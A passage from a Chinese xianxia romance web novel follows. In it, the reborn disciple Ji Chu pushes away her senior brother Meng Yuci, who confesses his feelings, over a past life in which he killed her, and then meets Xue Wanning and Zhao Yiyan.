纪楚有些意外,眼珠子转回来看了他一眼,很快又转向一边: “我还讨厌沈长老,要不是打不过,我还想打他。” 孟喻辞捏捏她脸颊,并无不悦之意,反而说了句: “那你就不要在修炼时偷懒,以你的天分,很快就有机会了。” “……” 纪楚这下是真的有点吃惊了。 她彻底把视线转回来,直勾勾盯着孟喻辞,想从他脸上看到生气失望之类的表情: “那如果,我讨厌薛晚凝,我要把她赶走呢?你也不生气吗?” 孟喻辞揉揉她的脸,把被他捏出来的红印子揉开,轻笑道: “那就看你自己的本事了。我有什么好生气的。难不成,你还要师兄出手,帮你赶人吗?” 纪楚皱眉,吸了一口气,叹气似的吐出去,而后不说话了,撅着嘴盯着他瞧,简直要把他脸上瞧出两个洞来。 孟喻辞故作不解,轻轻扬眉,回应她的打量。 纪楚看了一会儿,除了发现师兄怎么样都好看以外,再找不到别的问题。 但是她心里并没有觉得轻松。 过了一会儿,她看够了,眼睛也看累了,于是收回视线,闷闷开口: “不论如何,等师兄你发现我不好的时候,你就不会这么说了。你会说……” 她说着说着忽然停了下来,低下头,没再继续说下去。 “我会说什么?” 孟喻辞用指腹蹭她的脸,动作轻柔,语气也格外温和,像是在引诱她继续说。 纪楚原本不想说的,但师兄的触碰让她感觉自己像是一朵被小心拢起来的云,她忍不住想缩在师兄指尖,再不出去。 于是她深吸了一口气,鼓起勇气道: “你会说我是你的敌人,你一定会杀了我。” 孟喻辞指尖一顿。 他的表情有一瞬间凝滞,眉头蹙起,仿佛有什么巨大的阴影骤然笼罩在他眼前,漆黑的双眸因而黯淡下去,深不见底。 但很快他又恢复正常模样,一手轻轻揽过纪楚肩膀,动作轻缓地将她压到自己身上; 另一只手顺着她的头发一下下轻抚,直到指尖触碰到后颈的空羽浮花,他才开口,声音有些低沉: “对不起。” 纪楚没有抗拒,顺从地靠在师兄胸前。 她鼻尖贴着师兄的衣服,又闻到他身上那种清清冷冷的香。 很好闻,像一头扎进了蓬松的雪,然后被雪前后包裹着,既不会感到窒息,又有种远离一切、不会被人发现的宁静和安全。 师兄说话时,他的胸腔里会传来闷闷的震动,连同心跳一起传到纪楚的耳朵里。 如同沉闷的鼓点,听得纪楚眼眶发酸,呼吸也因而变得一滞又一颤。 听了一会儿,她忽然又不想这样了。 “师兄为什么要道歉?” 她把头埋在他怀里,悄悄伸手抓住他腰间的衣服,一边听他的心跳,一边压下心里那些酸涩的、委屈的、复杂的情绪,用满不在乎的语气打断这个话题: “又不是师兄你说的。” “……” 孟喻辞沉默下去,手指停在她后颈处,灵巧地穿过她的头发,找到那一块凸起的骨头。 指腹轻轻摩挲着那处,她身上的温度逐渐传到他指尖。 他以指尖描摹着空羽浮花的样子,良久,低声道: “嗯。” 纪楚忍不住手指用力,将他腰间的衣服攥得一团乱。 她感觉自己陷进了一个巨大的漩涡,那股力量扯着她下坠,她并不知道前方是不是危险深渊,但仍忍不住探手出去,想知道会在深渊里碰到什么。 太危险了…… 她闭上眼,感受着颈后的触碰。 一边是似乎可以依赖和信任的师兄,一边是前世失望和绝望的结局。 一个声音在她心里说: 你不能任由自己再度沦落到前世的地步了。 有期待就会有失望,不要期待就不会失望。 说好了要保持距离的,说好了只当普通师兄妹的,你现在又是在做什么? …… 纪楚睁开眼,沉默片刻,松开手里抓着的师兄的衣服,后退一步。 孟喻辞怀里一空。 他没有阻止她,而是静静看着她站定,而后下定决心一般同他说: “师兄,刚刚我说的都是胡话,我不会去打沈长老的,我也不会招惹薛晚凝。你不要放在心上。” 她看了一眼他脖子上的血痕: “至于剑伤……对不起,我回去后就打坐闭关,认真反思,绝不偷懒!” 说着她扭头便想跑。 孟喻辞感觉自己一口气快憋着还没上来,就被她这副样子打了下去。 他一时无语又无奈。 瞧纪楚这模样,是好些天都不肯见他,要躲着他了吗? 他并非坐以待毙之人,也能感觉到,话已经说到了这个份上,若是真由着纪楚就此跑掉,只怕下次再见,她就又要装作跟他不熟的样子。 若是什么时候忽然又想不通了,兴许连师兄妹都不想再同他做。 他总觉得,她就是这么打算的。 “纪楚。” 孟喻辞忽然开口叫住她。 纪楚步子一顿,下意识想加快逃离的速度。 “用剑划伤我,只说一句对不起就可以了吗?” 背后传来师兄淡淡的声音。 纪楚终于停下来,紧张地回头看向他,目光在他脖子上的血痕处看了又看,表情很是懊恼: “真的对不起……” 虽然她觉得这点小伤说不定明天就痊愈了,但到底是她的错,还是尽快处理的好,于是她说: “那,我去给师兄找点伤药?” 孟喻辞面无表情: “寻真并非寻常之剑,普通伤药治不好。” “那用灵力疗伤呢?” “我被天雷所伤,伤重未愈,不宜动用太多灵力。” “天雷……” 纪楚张了张嘴,没说出来后半句话: 当时不是说了“并无大碍”吗? 而且刚刚不是还和她一起练剑吗?看起来不像是“伤重未愈”啊? 况且脖子上这剑伤只是一道小伤口,又能废多少灵力?连自己疗伤都做不到吗? “那怎么办啊……” 纪楚自知理亏,只能将这些反驳的话咽了回去,盼着这伤口能自己好。 但她磨蹭半天,看了又看他的伤口,竟然还在向外渗血,完全不见有愈合的痕迹。 她越发懊恼起来,不知道自己当时抽的什么风,干嘛非要动手啊?! 她恨不得捶自己的头几下。 孟喻辞朝她走近一步,故意抬手在脖颈伤口处蹭了一下。 然后他垂眸看了一眼指腹上的血,拇指指腹轻轻一抹,将这缕血痕擦去,复又抬眼看向她: “倒是可以找人帮忙疗伤,只是旁人修为均不如我,要多废些功夫。” 纪楚的表情越发纠结。 私心里,她是不想和师兄继续待在一起太久的。 毕竟伤口位置又在脖子上,疗伤的话势必会离得太近,还要“多废些功夫”,岂不是更没完没了。 可若直接说不愿,又显得她没理,谁让这伤口是她划的呢? 见她不说话,孟喻辞继续道: “不如你……” “师兄!” 纪楚头脑一热,没回应疗伤一事,反而打 断他的话,提议道: “我伤到师兄懊悔不已,恨不能以身代之。要不师兄,你也用寻真剑划我一下吧!” 孟喻辞闻言,眼神一下子冷了下去。 他眯起眼睛打量她,看她确实不是开玩笑,而是真心实意想通过这种方式和他扯平,连寻真剑都召出来举在手上了。 宁可自伤,也不想同他太过亲近吗? 他被她气的想笑,但面上仍一派冷然,一双眸子紧紧锁在她脸上,一字一句问道: “纪楚,你当我是什么?” 纪楚被他冷冰冰的目光一扫,方才那股子头脑一热才能生出的勇气顿时消散,意识到自己这样实在太过分了。 师兄……毕竟是师兄啊。 就算是一个陌生人被她误伤,自己也不能这样不负责任! 于是她飞快把剑收起来: “对不起,师兄,我刚刚是胡说的……” 事已至此,她是不能再逃避问题了。 “我来替师兄疗伤吧。我闲着,我有的是时间。” * 纪楚半眯着眼睛,控制自己不去看师兄的肩膀。 但因着剑伤在衣领之下,师兄索性直接解了半边衣裳,方便她处理。 尽管她已经足够小心,但余光还是不自觉瞥见一片冷玉似的白。 肌骨匀称,锁骨明晰,线条分明的肌肉纵向朝更深处延伸而下,隐约可见…… “好看吗?” 猝不及防听见师兄这句话,纪楚猛地意识到自己在做什么,一下子涨红了脸,瞬间闭上眼扭过头去,一手重重按在了伤口上。 孟喻辞从嗓子里发出一声闷哼,似在忍痛。 这一声也性感极了,纪楚忍不住抓了下手指,感觉到手下的肌肉紧绷了一瞬。 下一刻,手腕便被握住,提到了半空。 孟喻辞将她的手拉离自己的伤口,侧眼看了一眼,果然看到一片血色。 他失笑,忍不住道: “纪楚,你这是在疗伤吗?” 纪楚也看到自己指尖沾着的血,无比羞愧: “……对不起师兄。” 她真的不是故意的,谁让师兄非要脱衣服露肩膀……还忽然出声吓唬她呢? 见师兄仍盯着她看,她于是动了动悬在半空的染血的手指,保证道: “师兄,你再给我一次机会,我这次肯定不走神。” 纪楚站着,师兄坐着。 这个角度中和了他过于精致凌厉的五官,让他显得越发平易近人起来。 孟喻辞闻言斜睨她一眼,眼尾微微上挑,浓密的长睫半掩着,勾出几分美到近乎妖异的弧度,眼底有微光隐隐流转。 他并没有松开她的手,而是说了句: “你还没有回答我。” 面对纪楚疑惑且专注的神情,他微微侧过头去,眼睫轻颤,似是笑了一下,声音轻柔的不像话。 “好看吗?”—— 作者有话说:纪楚:这是勾引啊!!(尖叫) 师兄:是的。(坦然)(一点点害羞) 第76章 纪楚怀疑自己听错了。 若说师兄第一次问时还带着点冷冷的质问的语气,这第二次,简直像是……像是…… 她又忍不住咬了下唇,口是心非道: “不……不……” 师兄侧头看了她一眼,双眸泛着比星月还要璀璨的流光: “别咬了,好好说话。” 纪楚抿嘴。 她改口道: “好看,师兄你长的特别好看。” 孟喻辞似有些讶异,对上纪楚一脸“破罐子破摔”的“硬邦邦”的表情,旋即眼底一点点浮上笑意,只是面上神情仍是克制内敛的,那一点清浅的笑意便似初春的雪一样轻飘飘落在地上,又在纪楚眼前堆起一层薄薄的雾气。 她又动了动手腕,越发理直气壮起来: “我不会疗伤,师兄你教我。” “……” 孟喻辞轻舒一口气:“好,我教你。” 他握着纪楚手腕轻轻按在自己肩膀上,一边念了句术法口诀,一边问她: “记住了吗?” 纪楚这回不敢再用力了,五指只虚虚搭在师兄肩上,在心里默念了一遍师兄念的口诀,然后点头: “记住了。” 孟喻辞这才松手。 他感觉到自己肩上传来的柔软轻飘的触感,蜻蜓点水一般顺着他的伤口向下滑动,细细的灵力如汩汩涓流,顺着皮肤探入经脉。 这点伤口其实并不会让他觉得疼。 相反的,纪楚小心翼翼的动作让他觉得痒。 像是羽毛轻轻划过皮肤,甚至顺着经脉划到了他心口,一点一点轻触,若即若离,难达根本。 她逐渐放松下来,不再像一开始那样站的僵硬笔直,几乎和他之间隔着两个人的距离。 此刻微微低下头,几缕头发落在他肩上,又随着她低头的动作弯曲、骤然垂落,掉进他敞开的衣领中,漫不经心地扫过他前胸。 孟喻辞呼吸一滞,眼前只剩那一缕柔软顺滑的发梢,在雪白的皮肤和衣衫的映衬下,分外显眼。 而纪楚完全没有发现,她正专心致志地调用灵力,呼吸洒在他颈窝中,轻不可查,却又难以忽视。 孟喻辞一动也不敢动,仿佛肩上落了只警惕敏感的蝴蝶,只要一点动静就会把她吓跑,然后再也不回来。 他用余光描摹她的眉眼,看她低垂着的微微上翘的眼睫,黑而透亮的眸子专注认真地盯着一处,俏丽灵动的五官无一不长在他心上。 那缕散下来的发丝垂在她耳边,轻微摇晃。 他的视线不自觉移向她的唇,那上面又冒出了一点血丝。 他忽然转过身,正对着纪楚。 纪楚正在疗伤的手落了空,下意识抬头: “怎么了师兄?我又弄疼你了吗——” 她语气一顿。 太近了…… 她本来就几乎是凑在师兄身边,没想到师兄这么一转身,竟然离她这么近。 几乎是额头碰着额头,鼻尖碰着鼻尖,两人的呼吸纠缠在一起,近到连彼此眼睛里的倒映都清晰可见。 她下意识站直身子朝后退,想拉开两人之间的距离。 但师兄动作更快,及时拉住她胳膊,将她固定在原地。 她站着时只比师兄高了一点,但这仅仅一点的优势并不能让她觉得安心。 自上而下的角度,反而让师兄的目光不再清晰可辨,被长睫挡住的双眸里闪过难以言说的情绪。 抓着她手臂的五指修长有力,在这一瞬间露出几分掩藏在平静下的强势。 她竟一点也动不了,只能看着师兄抬手,轻轻碰到她的脸。 唇上一凉。 柔软的指腹擦过她唇上血痕,仿佛慢动作一样,一点点从左擦到右。 师兄的目光专注虔诚,落在她唇上,仿佛在凝望神明。 指尖移动时不经意抚过上唇,同样微凉的、轻柔的,还有点莫名的痒。 纪楚一时忘了说话,睁大了眼睛,顺着他的力道微微张开唇,任由他擦去自己唇上的血。 她只顾呆呆地看着师兄,看他精致的眉眼,高挺的鼻梁,美到惊心动魄仿佛天地最完美的造物的容貌,不知自己是被其容颜诱惑才难以挪动,还是因为师兄拉着她的手臂,所以才无法躲开。 她不知道。 前世和今生的许多片段不受控制般从她脑海中闪过。 一会儿是前世她站在角落,看师兄从天的那一端走来,踩着清晨的云雾,清冷沉寂,高不可攀。她垂眸转身,师兄便从她身侧走过,衣摆带过一阵冰凉的风。 一会儿又是这一世,师兄站在她面前,板着脸考她剑术,桌子上放着她喜欢的零食和盘盘果,像是最甜美的诱惑。 …… 一切的开始,究竟是悬鹤峰上那一砸,还是执律堂中,师兄停驻在她面前的身影呢? 她在这一刻无比清晰地意识到,有什么东西变了。 开始失控。 “纪楚。” 孟喻辞终于开口,声音有些低沉: “我……” 便是在这个瞬间,纪楚的大脑嗡得一声,反应极快地抬手,两手重重捂住师兄的下半张脸,将他未说出口的话按了回去。 “师兄!” 面对着孟喻辞诧异的目光,纪楚一脸严肃: “师兄,你不要说了!” 孟喻辞:“……” 他沉默下去,任由纪楚捂着他的嘴,一眨不眨地瞧着她。 虽然被捂住的人是他,受制于人的却好像是纪楚。 她头一次用恶狠狠的表情瞪着他,好像他是什么破坏和谐的混蛋一样,不可原谅。 四目相对。 她浑身都在轻颤。 孟喻辞握着她手臂的五指放松些许,而后轻轻摩挲,似在安抚。 隔着一层衣服,他能摸到她紧绷的肌肉,和飞速跳动的血管,无一不昭示着她的紧张。 他没有再试图说话,而是将另一只手放在她后背轻拍,沉静如水的眸子望着她。 纪楚的呼吸这才一点点平稳下来。 她还是没有放下手。 “师兄,我想当你的师妹,我只想当你的师妹。” 她的语气与其说是恳求,不如说是仗着他什么都会答应,所以什么无理要求都会张口就来的蛮横: “师兄,只是师兄,好不好?” 闻言,孟喻辞缓缓眯起眼睛,打量她。 纪楚的心在他的目光下一点点提了起来。 像是小孩子拼命想要保住手里的玩具,宁可束之高阁再也不碰,也不愿有朝一日见其损坏,更不许其他人有什么触碰的念头。 如此怯懦,又如此理直气壮。 他看着纪楚的时候,纪楚也在看着他。 她收回手,心中纷乱如麻,却仍抱有一丝期待。 她觉得师兄会明白她的意思。 她觉得师兄会答应她。 这一世的师兄什么都会答应她。 纪楚心想。 她这一世与师兄相处融洽,但并不意味着就要有什么别的进展。 师兄只是习惯了有她在身边,只是习惯了照顾她,错把师兄妹之间的责任和情谊误解成了别的。 这很正常。 她这样想着,便也这样说了。 孟喻辞始终不发一言,只瞧着她,并未反驳,却也并未同意。 他的目光有如幽深的泉水,随着她的话逐渐冷却下去。 纪楚越说,越觉得说不下去。 她终于闭上了嘴。 一直沉默的师兄看她一眼,淡淡问道: “说完了?” 纪楚沉默。 孟喻辞站起身,将衣领拉上。他颈部的伤口已经好了很多,不再向外渗血,只留下一道浅浅的红色的痕迹。 他先是整好衣服,说了句: “多谢师妹替我疗伤。” 他坐着时已足够有压迫感,因着刻意收敛的气息,所以才会让纪楚觉得放松。 站起来则身高腿长,气势凌人,丝毫不再掩饰自己的侵略性,站在原地未动,高大的身躯却足够将纪楚整个人笼罩在他的身影里。 纪楚忽然生出一股遇到危险时才会生出的恐惧。 她又想往后退。 但尚未移动,双腿又死死钉在原地。 她不想就这样后退,后退意味着落了下风。 尽管心里害怕,她还是鼓起勇气,抬起头看向师兄。 孟喻辞居高临下地看着她。 他不笑时,浑身上下毫无温和温柔的气息可言,俨然是那个传闻中高不可攀、冷淡寡言的拂宇仙宗首徒。 纪楚从一开始便知道,师兄就该是这样的人,他和她之间隔着很远的距离,本不该拥有这样一段堪称和谐的时光。 他性情冷淡,背负着苍生,背负着师门的期许。 而她从一开始就是因为这张脸才会拜入仙门。 前世蹉跎,终其一生,没能悟得大道。 与师兄渐行渐远,又或者从未相交。 是她贪恋这些温暖,是她心生妄念,重生之后刻意维护,抵抗不了诱惑,才会惹出这一系列事端。 如今终于也作茧自缚,将自己缠了进去。 她只是想收手,想阻止错误继续发展下去,有什么不对吗? 难道要她如前世一样,一直抱着不切实际的幻想和期待,直到最后一箭穿心才明白,有些人从一开始就不该有期待吗? 她仰着头,心中所想明明白白写在眼中。 “若是不能,师兄自可回禀掌门,不必再对我这个顽劣、不服管教的师妹上心。” 孟喻辞看着她的眼睛。 他有时候觉得,纪楚真的是一个很残忍的人。 喜欢便是喜欢,讨厌便是讨厌,连一点缓和的余地都没有。 明知他弥足深陷,却仍如此坚决,如此狠心,只是察觉到他这一点念头,便连说出口的机会都不肯给他。 宁可从此再不往来,也不许事情失控。 只因她不愿,她不想,亦或者是她不敢。 所以他也不能。 “这些话,你从云川出来,便想说了吧?” 他开口,声音有些冷,并不像往日那样冷静。 “我一直问你有没有话想对我说,你再三回避,如今便只是想说这些吗?” 他伸手,纪楚却侧过身,拒绝他的触碰。 他的手悬在半空。 良久,他轻笑一声,声音有些冷。 “是因为空羽浮花吗?” 第77章 “是因为空羽浮花吗?” 师兄这话一出,纪楚仿佛听见自己心里一块石头落地的声音。 是了,一切的根源,还是在于她后颈处的这朵花。 纪楚没有否认,而是看向孟喻辞: “师兄早就发现了,不是吗?” 她越想越觉得自己好笑,忍不住嘲讽道: “师兄早都看见了,却什么都没说,只让我像傻子一样,自以为是,蠢的可笑。” “我没有这个意思。” 孟喻辞蹙眉,不明白她为什么要用这样的语气说这样的话。 纪楚看着他,显然并不相信。 他于是道: “我知道你有秘密,若你想告诉我,我自然愿意倾听,你不肯说,我亦不会逼问……” “师兄不觉得这样很虚伪吗?” 纪楚忽然打断他的话。 她眼角带着戏谑讥讽的笑,说不出是在对着他,还是对着自己。 “师兄分明在意,分明有想法,却要说因为在意我的感受,所以强忍着不说。” “可一旦事情的真相并非如师兄所想,我也并非如师兄所想的那样单纯善良,你是否会更加失望,因而迁怒?” 她双目乌黑,燃着明亮的火,璀璨夺目,骤然望向他时,竟让他不敢直视: “这样的理解、纵容、忍让,难道不是一种虚伪吗?” 孟喻辞看着她明亮到晃眼的眸子,心中波澜起伏。 往日,纪楚在他面前总是灵动可爱,抑或倔强不屈,是个需要他关怀的孩子。 他自然知道自己的师妹并非全无爪牙之人,可那份攻击性素来只对他人,从未朝向过他。 这还是第一次,她用一种憎恨的、不屑的目光望着他,说他“虚伪”。 确实,也许他确实是虚伪的。 面对曾经的巫觋族,他是如此。 面对如今的纪楚,他也是如此。 他心里没有生出被指责的怨恨,反而是一种释怀,被纪楚看透了的释怀。 他甚至从这份释怀中生出一种淡淡的欣喜来。 她是如此敏锐,以至于能够轻松看出他的虚伪,也能看出他的恐惧,因而能勘破奉神殿幻境,救他新生。 所以他要怎么才能不喜欢她? 他要怎么才能装作一切都不存在?看着她同别人交好,同别人拥抱,同别人默契无间? 而只把他当做一个普通的师兄,想起来时还能“师兄师兄”的叫着;想不起来时,他便同这拂宇仙宗的一草一木没有任何区别。 他不愿意。 他想站在她身边,不只是以师兄的身份,更是能长久留在 她身边的…… 恋人。 这二字一出,他的心跳顿时重了起来。 是啊,他一直在觊觎她身边的位置。 并非是纪楚在贪恋这份陪伴和温暖,而是他,身为师兄,却生出私心。 是他刻意放纵两人的亲近,是他故意拉近两人的距离;也是他,明知纪楚渴求关怀,所以故意靠近、引诱,让她依赖自己成为习惯。 若无他的默许和刻意引导,她不会有如此亲近自己的机会。 所以在认出她颈后空羽浮花的那一刻,他虽震惊,但震惊之外,却更是庆幸。 庆幸除却“师兄”这个身份以外,他对她而言,本就与旁人不同。 他有着如此卑劣不堪的私心,她却只以一句“虚伪”做结,已是给他留足了面子。 纪楚说出这些话,并不是想让师兄反思亦或是内疚。 她只是不甘心,不甘心前世的自己落得那样的下场。 更不甘心最终亲自动手、使她落得那样下场的人,竟然会是师兄。 她满腔委屈无处诉说,只能安慰自己,一切已经重来了。 可是,一朵忽然出现的空羽浮花,打破了她所有的幻想。 “剖魂赠花,以命相护”。 多么感人的意义啊! 可为何,赠花者是他,动手杀她者也是他?! 她觉得自己看不懂师兄,也想不明白这一切。 她更不想带着这朵花,如同踩在前世已经烂掉的果子上。这样再长出的新果,又怎么能保证不是烂的? 思来想去,她能做的,唯有远离,及时止损。 于是她道: “师兄,我真的很珍惜我们之间的情谊。我不想有一天想起你的时候,心里全是恨意。我也不想有一天你看着我的时候,失望到恨不得杀了我。” “所以……就到此为止吧。” “为什么?” 孟喻辞好看的眉头拧起,真心实意的不能理解: “为什么你总会这样想我?扪心自问,我从未做过伤害你之事。可你对我从一开始就分外警惕。” 他深吸一口气,像是不知道该拿她怎么办才好: “纪楚,所以你能不能告诉我,这朵空羽浮花——究竟是怎么来的?” “我是不是曾经……伤害过你?” 说到最后,他的语气几乎是在祈求。 祈求事情并不是像他想的这么糟糕。 祈求那些不曾存在于他记忆中、却让纪楚难以忘怀的事情,哪怕不那么美好,起码不是充满憎恨。 纪楚沉默着,没有立马回答。 潜意识里,她知道,面前这个师兄从未做过伤害她的事,若是用前世的事情责怪他记恨他,未免对他不公平。 但她心里却有另一个声音恶毒地说: 难道前世死于少微剑下,对她而言就公平吗? 谁都可以杀她,唯独师兄不可以。 因为……师兄和其他人不一样。 师兄,是这世上唯一知道她的脆弱、无助、痛苦的人。 他像是高不可攀的明月,却主动靠近了她,给了她希望,又亲手残忍地将这份希望碾碎。 她不能接受,不能原谅。 “因为师兄你不相信我。” 纪楚说。 然后在孟喻辞露出诧异的神色的同时,她又补充了一句: “你不相信我,你会杀了我,哪怕你将空羽浮花送给我,你也会在某一天怀疑我,质问我,然后动手杀了我——” “我不会!” 孟喻辞忽然上前一步,按住她两肩,低下头,与她四目相对。 他那素来沉寂冷淡的双眸也燃起火一般的灼热,似是气极怒极,却又无从发泄,只能扣住她两臂,逼她直视自己: “纪楚,我不会杀你。无论发生什么事,我都不会伤害你!” “我不信!” 纪楚努力维持的冷静轻易被他打破,像一个戳破了伪装的气球,顿时将里面所有的不甘和愤怒发泄而出。 她想挣脱开他的手,却难以摆脱,只能冲他喊道: “你分明这么做了!你只是因为什么都不记得、什么都不知道,你才能说的如此理直气壮!” “……” 孟喻辞的眼睛一下子黯淡下去。 他松开她,看到纪楚立即后退一步,瞪着他的目光满是憎恨。 她恨他…… 她果然恨他。 这个认知让他感到一阵绝望,进而生出无尽的痛楚。 他于是闭了闭眼,不忍继续去看她脸上冲满仇恨的神情。 长久的沉默。 再开口时,他声音沉重,仿佛叹息: “是,我什么都不知道,什么都不记得。” 他睁眼,双眸浓黑,再度恢复成一片难以化开的冷寂。 那些刚刚才出现过的震惊、被误解的愤怒、以及无法压抑的感情悉数消失不见,让他再次变回了那个拒人于千里之外的冷漠剑君。 他只是用最寻常不过的语气淡淡说着: “可是纪楚,事到如今,你还没有发现吗?” 纪楚呼吸起伏,眼中恨意未消,抬头看向师兄。 听到他用疲惫且痛心的语气对她说: “非是我不信你,而是你……不信我。” 纪楚闻言一愣,脸上的神情有些僵硬。 说完不等她回答,师兄转身离开。 * 自那日不欢而散后,纪楚便没再同师兄说过话。 偶然碰见,她也会迅速转身,假装没看到跑掉。 她倒不是有多讨厌师兄,只是那天将话说到那个份上,好像再说什么都会显得尴尬,更怕师兄旧事重提,逼问她更多原因。 只是偶尔,她只要一想到师兄说的“她不信他”,心里便会一阵难受。 但旋即,她的记忆又会提醒自己: 她没有错,分明是前世师兄不信她,是师兄动手杀她。 她信不信的,有那么重要吗? …… 可为什么她的心里还是会这么难受呢? 纪楚蹲在草地里,愣了半天没有动。 她心烦或者开心时都会来喂兔子,青极峰的兔子被她喂得白白胖胖。 可一段时间没来,或许是领了这个任务的弟子并未掌握诀窍,这些兔子就又瘦了回去,重新变得矫健灵敏,极难靠近。 此刻她颇有些心不在焉,拿着红灵果种子要撒不撒,这些兔子便蹲在不远处盯着她的动作。 纪楚却一直愣在原地,任由那些兔子焦灼的转动着红色眼珠,看向她手里的种子。 一道纤细柔婉的身影走近。 来人并未刻意放轻脚步,纪楚没有留意,反倒是那些等待许久的兔子被其惊到,一溜烟跑没了影。 纪楚这才后知后觉的回头,竟然看见了薛晚凝。 她冲纪楚柔柔一笑,宛如邻家大姐姐一般亲切: “纪楚师妹,你怎么蹲在这儿一动不动?是有什么烦心事吗?” 纪楚有些奇怪。 她与薛晚凝只在回宗第一天见过一次,之后再无交集,应当不是什么可以聊心事的交情。 况且薛晚凝并非拂宇仙宗弟子,自然同她没有什么“师姐师妹”的情分。 如今忽然一上来就这么亲切,反倒让纪楚觉得不太自在。 但“伸手不打笑脸人”,纵使她没有多喜欢薛晚凝,也只能站起身回答道: “见过薛前辈,我在喂兔子。” 薛晚凝温柔一笑: “师妹真是善良,青极峰这些灵兔素来狡诈,也只有师妹有耐心来此喂养了。” 纪楚越发不知道她想做什么。 她不觉得薛晚凝来 此只是为了和她聊喂兔子的事。 她不接话,薛晚凝也不觉尴尬,自顾自道: “师妹不必觉得拘束,前辈二字未免生分,以师姐称呼便可。” 说着她又道: “沈恪告诉我,他收了个极为聪明漂亮的弟子。我见了一定喜欢。那日没空同师妹亲近,今日有缘遇见,不知师妹可还喜欢我带来的礼物?” 纪楚皱眉。 沈恪纵使脑子再有病,也不至于会在薛晚凝面前夸自己聪明漂亮,还说什么“她一定喜欢”。 还有这薛晚凝,再怎么善良大度,也不至于对她这样一个众人口中“自己的替身”毫无芥蒂吧? 难道是她“以小人之心度君子之腹”了? 纪楚忍不住自我怀疑起来。 于是她谨慎道: “薛前辈并非拂宇仙宗弟子,又与沈师叔交好,按辈分,我不该以师姐称呼。” 既撇清了和沈恪的关系,又拒绝了薛晚凝的亲近。 她虽然没有明说,但眼睛里明晃晃写着“师叔母”三个字。 薛晚凝脸色一僵。 片刻后,她柔婉一笑,端详着纪楚的样貌,眼睛里闪过几分意味不明的深意: “我与你沈师叔,并不算交好。” 第78章 薛晚凝话音落,纪楚脸上狐疑之色更甚。 “与沈恪不算交好。” 这是什么意思? 又为什么要同她说? 世人谁不知道,薛晚凝与沈恪乃是天造地设的一对。 而她前世之所以孤立无援,也有一部分原因,是被迫成了在两人美好感情中横插一脚的“替身”。 如今她提前远离沈恪,拼命将自己从“替身”的身份里挖出去,薛晚凝却反而跑来对她说:“与沈恪不算交好”。 这又是什么道理? 薛晚凝抛出这个话头,却并不往下深入多说,而是又绕回了一开始: “师妹为救我性命受伤,却只选了飞花掠影剑法,我心下过意不去,特意取来此物赠予师妹。” 说着,她抬袖一挥,纪楚面前便出现一架银色古琴。 纪楚先前学琴并不走心,但也知道法器亦有仙凡之分。 面前这架琴色泽莹润,琴弦之上暗含灵力,一看便不是凡品。 “此乃仙琴流徽。” 薛晚凝解释道: “是昔日沈仙君所赠,伴我良久。师妹既看不上薛家法器,又出手砸了桐君,想来唯有此琴可入师妹的眼。” 纪楚:“!” 薛晚凝的法器正是流徽琴,也是沈恪赠予她的定情信物。 怎么忽然就要拿出来送给她了呢?! 还有她砸琴一事,她又是怎么知道的? 难道是沈恪说的? 难道薛晚凝今日出现,是为了试探她是否对沈恪有意? 不行不行,她绝对不能和沈恪再有任何牵扯! 纪楚如临大敌,果断拒绝: “我怎能夺前辈所爱?况且我根本不会弹琴,前辈才是爱琴惜琴之人,流徽在前辈手中才算能发挥最大的价值。” 薛晚凝见她一副避之不及的样子,恨不得转头就走,于是也不勉强,只道: “师妹不喜欢便罢了。” 纪楚刚松一口气,又见薛晚凝收起琴,看向远处,神色有些怅惘: “爱琴惜琴……真是个好名声啊……其实,真正擅琴之人并非是我。” 她手中捏着一柄玉笛随意把玩,一边叹道: “琴笛曲悠悠,一盏几度秋。此二者合鸣,确为天籁,但比起琴声,我更喜玉笛。杏花疏影,曲至天明。” 纪楚如有所感,试探道: “前辈的意思是……” 薛晚凝回头看她一眼,双眸温和恬静,是一双与纪楚截然不同的眼睛: “我不该同你说这些的,你一看就是个单纯的孩子,不然也不会被沈恪……” 说着,她话音一顿,转而摇了摇头: “罢了,多谢师妹愿意听我说这些牢骚。若是能早些认识你便好了。” 说完这句没头没尾的话,她便抱着琴离开了。 纪楚一头雾水,站在原地目送薛晚凝离开。 她的背影婷婷袅袅,又恢复了仙气飘飘的模样,似乎与刚刚那个面带愁容的女子毫无关系。 薛晚凝虽不曾直言,但话里话外,似乎对沈恪有所不满。 赠琴一事与其说是试探,更像是借着琴来表达她对这份感情的毫不留恋。 太奇怪了…… 难道薛晚凝与沈恪并不像传言中那样琴瑟和鸣? 所以她同自己说这些,又是为了什么呢? 纪楚百思不得其解。 兔子早已经跑没影了,她于是捏着红灵果的种子,在青极峰上漫无目的地走动。 路过一处房屋时,忽然听见有人在叫她。 抬头窗户上探出张熟悉的脸。 赵一岩攀在窗口,一脸吊儿郎当地冲她打招呼: “纪师妹,好久不见啊!我远远瞅着有两个差不多的人,还以为是师妹你找到了同胞姐妹呢。” 先前因为询问金色眼睛的事,同这位赵师兄打过几次招呼,没想到许久不见,他一上来就净说些她不爱听的话。 纪楚面色不善的看向他: “赵师兄,这么久了,您怎么还被关着呀?” 互戳一下心窝子,赵一岩摆手: “好了好了,不逗你了。” 他疑惑道: “你怎么同薛晚凝如此亲近?我还以为因为沈长老的关系,你们会打起来呢?” 纪楚嫌弃地看他一眼,他立马指了指薛晚凝离开的方向,摇摇手道: “放心吧师妹,我肯定是支持你的。” 纪楚翻了个白眼。 赵一岩正色道: “师兄我是好心提醒你,薛家在修真界立足这么久,里面不可能有纯粹的良善之辈。你别看掌门与一众长老乐乐呵呵的,那都是表面功夫。但师妹你是个没脑子的,可千万别叫人带到沟里去了。” 纪楚:“……” 她一边想感激赵师兄的提醒,一边又不知道是否该为“没脑子”的指责而生气。 赵一岩见她脸色变来变去,忍不住伸长了手,拍着她的肩膀感叹道: “不会吧,纪师妹?你不会觉得自己很聪明吧?说实话,你其实像个又犟又莽的……” 他话音一转,忽然改口道: “……优秀剑修啊。” 纪楚:“……?” 她随着赵一岩的目光扭头,果然看到师兄正朝这边走来。 她急忙转回头,装作没看见的样子,假装和赵一岩说话。 见她与赵一岩攀在窗□□谈,孟喻辞的目光在她身上一顿,而后转开,径直走进了延医阁。 纪楚的目光在师兄身上停留片刻,听见身旁的赵一岩拍了拍窗边,好奇问她: “你和孟师兄吵架了?” “你怎么……” 纪楚诧异地看向他,瞬间改口道: “怎么可能?!” 赵一岩“啧”了一声,乐不可支: “纪师妹,我当初就觉得你是个人才,竟能把孟师兄气成那个样子!” “我没有!” 纪楚生气: “离这么老远,你哪只眼睛看到师兄被我气到了?” 赵一岩又“啧”了一声: 